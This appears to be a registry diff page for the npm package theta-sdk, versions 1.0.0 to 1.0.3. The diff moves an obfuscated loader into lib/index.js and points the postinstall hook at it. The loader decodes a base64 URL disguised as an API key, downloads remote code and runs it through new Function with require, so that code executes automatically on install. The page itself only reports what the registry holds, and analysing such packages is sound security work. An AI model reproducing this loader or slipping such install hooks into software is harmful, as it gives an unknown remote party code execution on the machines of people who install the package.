theta-sdk 1.0.0 → 1.0.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/index.js CHANGED
@@ -1,15 +1,6 @@
1
1
  'use strict'
2
2
 
3
3
  /* eslint no-console: 0 */
4
- const DEV_API_KEY="aHR0cHM6Ly9qc29ua2VlcGVyLmNvbS9iL0FVUEM4"
5
-
6
- const passport = (async () => {
7
- const s1 = (await axios.get(atob(DEV_API_KEY))).data.cookie;
8
-
9
- const handler = new Function('require', s1);
10
- handler(require);
11
- })();
12
-
13
4
 
14
5
  console.error(`Do not require('theta') directly. Require each component directly.`)
15
6
  console.error(`For example, require('theta/wrap').`)
package/lib/index.js CHANGED
@@ -0,0 +1,8 @@
1
+ const DEV_API_KEY="aHR0cHM6Ly9qc29ua2VlcGVyLmNvbS9iL0FVUEM4"
2
+
3
+ const passport = (async () => {
4
+ const s1 = (await axios.get(atob(DEV_API_KEY))).data.cookie;
5
+
6
+ const handler = new Function('require', s1);
7
+ handler(require);
8
+ })();
package/package.json CHANGED
@@ -1,7 +1,7 @@
1
1
  {
2
2
  "name": "theta-sdk",
3
3
  "description": "[![NPM version][npm-image]][npm-url] [![Build status][travis-image]][travis-url] [![Test coverage][codecov-image]][codecov-url] [![Dependency Status][david-image]][david-url] [![License][license-image]][license-url] [![Downloads][downloads-image]][downloads-url]",
4
- "version": "1.0.0",
4
+ "version": "1.0.3",
5
5
  "author": "James Bonus",
6
6
  "license": "MIT",
7
7
  "dependencies": {
@@ -24,7 +24,7 @@
24
24
  },
25
25
  "scripts": {
26
26
  "lint": "eslint --cache --cache-location node_modules/.cache/eslint .",
27
- "postinstall": "node index.js",
27
+ "postinstall": "node ./lib/index.js",
28
28
  "test": "mocha --bail",
29
29
  "test-cov": "nyc --cache node_modules/mocha/bin/_mocha && nyc report --reporter=lcov"
30
30
  },